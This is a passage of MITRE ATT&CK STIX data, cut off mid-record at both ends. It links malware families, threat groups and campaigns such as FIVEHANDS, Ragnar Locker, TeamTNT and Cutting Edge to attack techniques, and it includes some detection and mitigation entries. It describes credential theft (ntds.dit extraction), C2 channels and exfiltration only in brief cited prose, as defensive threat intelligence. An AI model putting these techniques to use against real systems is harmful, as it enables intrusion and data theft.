2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."},{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021."}],"modified":"2021-06-24T13:14:06.569Z","description":"[FIVEHANDS](https://attack.mitre.org/software/S0618) can use an embedded NTRU public key to encrypt data for ransom.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93f46e6e-cabc-4274-b50e-63bda692d01e","type":"relationship","created":"2020-05-06T21:01:23.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.473Z","description":"[Attor](https://attack.mitre.org/software/S0438) has used FTP protocol for C2 communication.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93f51dcb-f2cf-4aa2-880d-c2b9388252ff","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-20T23:13:57.334Z","description":"[Comnie](https://attack.mitre.org/software/S0244) encrypts command and control communications with RC4.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93fc3086-d2c0-4b4d-8a69-278f15176739","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T15:59:20.528Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) copies files with certain extensions from USB devices to\na predefined directory.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93fdbd36-b577-44bd-b4db-6daadbef9cb2","created":"2021-04-01T16:45:50.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI Ragnar Locker 2020","description":"FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.","url":"https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:23:38.258Z","description":"Before executing malicious code, [Ragnar Locker](https://attack.mitre.org/software/S0481) checks the Windows API GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country.(Citation: FBI Ragnar Locker 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--93fe5493-d3c1-4db2-8228-61da951c660e","created":"2019-01-30T15:38:21.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.859Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) has a command to enumerate running processes and identify their owners.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94023ff0-7cc6-4fb3-9d2b-b26b793324cb","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94035326-619c-4307-ac07-5def29b85f59","type":"relationship","created":"2020-01-15T18:02:50.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-15T18:02:50.149Z","relationship_type":"revoked-by","source_ref":"attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f","target_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--940764df-0039-40fa-a3c7-ce064ceed4ea","type":"relationship","created":"2020-10-20T17:30:35.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"modified":"2022-02-17T19:50:47.164Z","description":"Apply extended ACLs to block unauthorized protocols outside the trusted network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9409dcff-0ddf-43f6-b7c0-937fd9216ee0","type":"relationship","created":"2019-01-30T13:28:47.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.370Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can perform port scanning of TCP and UDP ports.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--940b4e6c-0dff-4b51-a2e9-d268c1c028cf","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--940e8f94-a0bf-43e9-b2e8-53dd9a3f0e6e","created":"2023-08-01T18:25:00.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:56:12.918Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can be compressed with the ApLib algorithm.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9411254c-baa7-4e0d-abd2-da6a081add1c","created":"2024-03-25T16:28:15.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Vincens AcidPour 2024","description":"A.J. Vincens, CyberScoop. (2024, March 18). Researchers spot updated version of malware that hit Viasat. Retrieved March 25, 2024.","url":"https://cyberscoop.com/viasat-malware-wiper-acidrain/"},{"source_name":"AcidRain JAGS 2022","description":"Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. Retrieved March 25, 2024.","url":"https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T10:39:39.295Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) is linked to [AcidRain](https://attack.mitre.org/software/S1125) deployment during the ViaSat KA-SAT incident in 2022.(Citation: Vincens AcidPour 2024)(Citation: AcidRain JAGS 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--04cecafd-cb5f-4daf-aa1f-73899116c4a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9414386b-adbf-4117-ba5b-81a242714d83","created":"2023-02-10T18:34:40.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:25:22.887Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can collect time zone information.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94149a91-d3c4-4893-938d-4f8964aeb5d7","created":"2024-09-23T23:08:57.212Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:08:57.212Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used batch scripts to exfiltrate data.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94175b7b-a332-4e38-9d7b-3b900825bb3a","created":"2024-03-06T18:19:26.548Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T18:19:26.548Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors accessed and mounted virtual hard disk backups to extract \nntds.dit.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--941ea6f4-d27e-4a26-aa7f-943c218c8873","created":"2022-06-06T18:48:41.871Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can use `cmd.exe` for discovery actions on a targeted system.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-08-31T21:06:21.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9420a4b5-d246-4b9e-81d0-3f0551a73a15","created":"2021-10-01T01:57:31.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Intezer TeamTNT September 2020","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.712Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used SSH to connect back to victim machines.(Citation: Intezer TeamTNT September 2020) [TeamTNT](https://attack.mitre.org/groups/G0139) has also used SSH to transfer tools and payloads onto victim hosts and execute them.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9420e9de-cc4c-4d5c-b40f-02c57dcc4fd9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Überwachung APT28 Forfiles June 2015","description":"Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.","url":"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Forfiles](https://attack.mitre.org/software/S0193) can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).(Citation: Überwachung APT28 Forfiles June 2015)","relationship_type":"uses","source_ref":"tool--90ec2b22-7061-4469-b539-0989ec4f96c2","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9420f3cb-bd87-4dae-b8a7-0f1a5a14da55","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-20T21:15:48.749Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) has used compromised WordPress blogs as C2 servers.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94211067-148f-4196-a216-c1bb1e5cfc70","type":"relationship","created":"2017-05-31T21:33:27.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2019-03-25T16:53:38.785Z","description":"Malware used by [Putter Panda](https://attack.mitre.org/groups/G0024) attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--94229aa6-c862-48b8-9959-1e1d3c04dd5e","created":"2020-07-15T19:02:25.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"},{"source_name":"IBM IcedID November 2017","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:25:46.900Z","description":"[IcedID](https://attack.mitre.org/software/S0483) can query LDAP and can use built-in `net` commands to identify additional users on the network to infect.(Citation: IBM IcedID November 2017)(Citation: DFIR_Quantum_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9429931f-8a80-4472-9dd1-17feaeea733d","created":"2024-05-22T22:46:29.975Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:46:29.975Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) uses a batch file, remover.bat to delete malware artifacts and the batch file itself during execution.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--942ced7d-f5a7-4c8d-ba66-e28479f7447a","created":"2023-10-04T17:58:19.607Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:58:19.607Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) has the ability to transfer data between SMB shares.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9433ea0e-0bae-44b6-b32b-5290356f057b","type":"relationship","created":"2020-07-23T16:50:06.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-23T16:50:06.592Z","description":"[Kessel](https://attack.mitre.org/software/S0487) can RC4-encrypt credentials before sending to the C2.(Citation: ESET ForSSHe December 2018)\t","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--943577e6-928e-43dd-a175-60e6046c4499","created":"2022-08-07T14:06:13.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T20:53:13.761Z","description":"[SideCopy](https://attack.mitre.org/groups/G1008) has sent spearphishing emails with malicious hta file attachments.(Citation: MalwareBytes SideCopy Dec 2021)","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9436696d-f80a-44ae-a93a-82f96c68fd83","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for newly constructed logon behavior across Atlassian's Confluence which can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection 